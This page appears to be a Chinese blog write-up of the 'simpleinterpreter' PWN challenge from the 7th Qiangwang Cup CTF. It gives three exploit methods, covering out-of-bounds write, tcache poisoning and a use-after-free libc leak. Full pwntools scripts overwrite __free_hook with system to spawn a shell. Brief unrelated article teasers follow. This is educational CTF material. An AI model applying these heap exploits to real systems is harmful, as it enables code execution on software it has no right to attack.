news 2026/4/23 16:12:44

第七届强网杯-PWN-【simpleinterpreter】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【simpleinterpreter】

对于一个刚入门的三个月的菜鸡pwn手打算按照难度慢慢复现qwb的题目

先simpleinterpreter吧

simpleinterpreter libc 2.27

逆向

解释器相关用到的陌生函数

法1

方法1参考链接
程序实现了一个 C 语言解释器,可用的关键字如下:

charelseenumifintreturnsizeofwhileread close printf malloc free memset memcmp exitvoidmain
read close printf malloc free memset memcmp exit 和原生C 函数效果一样 可以尝试一下&*操作是否存在,存在利用那么更方便

漏洞就是越界,首先用malloc一个超大堆块分配到 mmap 内存,然后越界写 libc,将 free_hook 覆盖为 system 地址,然后释放”/bin/sh”即可 getshell(libc 版本是 2.27)

本地好像不行,得到的地址由mmap的第几次得到没有确定下来,导致与基地址偏移无法确定,但是第几次mmap的范围有限,所以如果不断尝试可能成功

该法对应的输入代码如下

main(){intsize;char*freehook;char*system;char*v;char*binsh;size=204800;binsh="/bin/sh";v=malloc(size);freehook=v-0xb2728;system=v-0x450bf0;*(int*)freehook=system;free(binsh);}

法二

方法二参考链接

该方法没有使用到*和&,单纯利用提供得关键字解决

  1. 分配一个大于fastbin的chunk和两个fastbin的chunk

  2. free第一个chunk,此时进入unsortedbin泄露libc地址

  3. free第二个和第三个chunk,然后修改第三个chunk的fd为free_hook-8的位置

  4. malloc两次

  5. 修改第二次的chunk的值为/bin/sh\x00和system地址,此时free_hook的内容被修改为system地址

  6. free第二次的chunk即可getshell

frompwnimport*sh=process('./simpleinterpreter')context.log_level="debug"code=''' int main() { void* p1; void* p2; void* p3; void* p4; void* p5; p1 = malloc(0x500); p2 = malloc(0x18); p3 = malloc(0x18); free(p1); printf(p1); free(p3); free(p2); read(0, p2, 8); p4 = malloc(0x18); p5 = malloc(0x18); read(0, p5, 0x10); free(p5); return 0; }'''sh.sendlineafter("Code size:",str(len(code)))sh.sendafter("Please give me the code to interpret:",code)libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0log.success("libc_base:\t"+hex(libc_base))free_hook=libc_base+0x3ed8e8system=libc_base+0x4f420sh.send(p64(free_hook-8))sh.send("/bin/sh\x00"+p64(system))sh.interactive()

法3

参考链接

与法1的区别在于泄露libc基地址方式不同而已
攻击思路先使用malloc申请一个大堆块,再malloc申请一个小堆块防止大堆块释放与TOPchunk合并,利用指针UAF读取free后残留的main_arena计算libc地址,最后利用指针改写__free_hook为system执行free即可getshell

from pwncli import*cli_script()set_remote_libc('libc-2.27.so')io:tube=gift.io elf:ELF=gift.elf libc:ELF=gift.libc#one_gadgets:list=get_current_one_gadget_from_libc(more=False)#CurrentGadgets.set_find_area(find_in_elf=True,find_in_libc=False,do_initial=False)payload='''intc;intmain(){intb;intlibc;int*free_hook;char*sh;libc=0;free_hook=libc+1;free_hook=malloc(0x500);sh=malloc(0x10);free(free_hook);libc=*free_hook-0x3ebca0;printf("%lx",libc);free_hook=libc+0x3ed8e8;*free_hook=libc+0x4F420;sh[0]='s';sh[1]='h';free(sh);return0;}'''sla('size:',str(len(payload)))sla('et:',payload)ia()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 15:36:07

GLM-TTS能否用于灾难应急广播?多通道冗余语音传输

GLM-TTS能否用于灾难应急广播?多通道冗余语音传输 在一场突如其来的台风即将登陆的深夜,城市应急指挥中心必须在30分钟内向沿海低洼地区发布撤离指令。传统流程中,这需要人工撰写文稿、安排播音员录制、逐级审核并分发到各个广播节点——而每…

作者头像 李华
网站建设 2026/4/21 23:42:44

导购APP容器化CI/CD流程:Jenkins在返利系统持续部署中的实践

导购APP容器化CI/CD流程:Jenkins在返利系统持续部署中的实践 大家好,我是省赚客APP研发者阿宝! 在聚娃科技省赚客返利系统的日常迭代中,我们面临多环境(dev/test/staging/prod)、多微服务(用户中…

作者头像 李华
网站建设 2026/4/23 11:32:01

FusionOne HCI-产品介绍

创作内容不易,学习的朋友麻烦关注下博主,后面学习不迷路。有不会的问题也可以论坛咨询博主,博主也会及时回复。博主也创建了一个it知识共享互助群,有兴趣的小伙伴也可以加我微信,博主给你拉进群(xiaotianca…

作者头像 李华
网站建设 2026/4/23 11:34:34

语音合成中的公交报站模式:颠簸行驶中清晰播报站点

语音合成中的公交报站模式:颠簸行驶中清晰播报站点 在早晚高峰的公交车上,你是否曾因“下一站是朝(zhāo)阳路”这种错误发音而皱眉?又或者,在车辆剧烈颠簸、空调轰鸣的嘈杂环境中,根本听不清广…

作者头像 李华
网站建设 2026/4/23 11:34:34

基于GLM-TTS的智能客服语音生成原型系统设计

基于GLM-TTS的智能客服语音生成原型系统设计 在智能客服系统日益普及的今天,用户早已不再满足于“能听清”的机械朗读。他们期待的是更自然、有温度、甚至能感知情绪的语音交互体验。传统的TTS(Text-to-Speech)系统虽然解决了“从文字到声音”…

作者头像 李华
网站建设 2026/4/23 11:35:07

语音合成与联邦学习结合:分布式训练保护用户语音隐私

语音合成与联邦学习结合:分布式训练保护用户语音隐私 在智能语音助手、有声读物和虚拟数字人日益普及的今天,用户对“像人一样说话”的期待越来越高——不仅要准确,还要有情感、有个性。然而,当AI开始模仿你的声音时,一…

作者头像 李华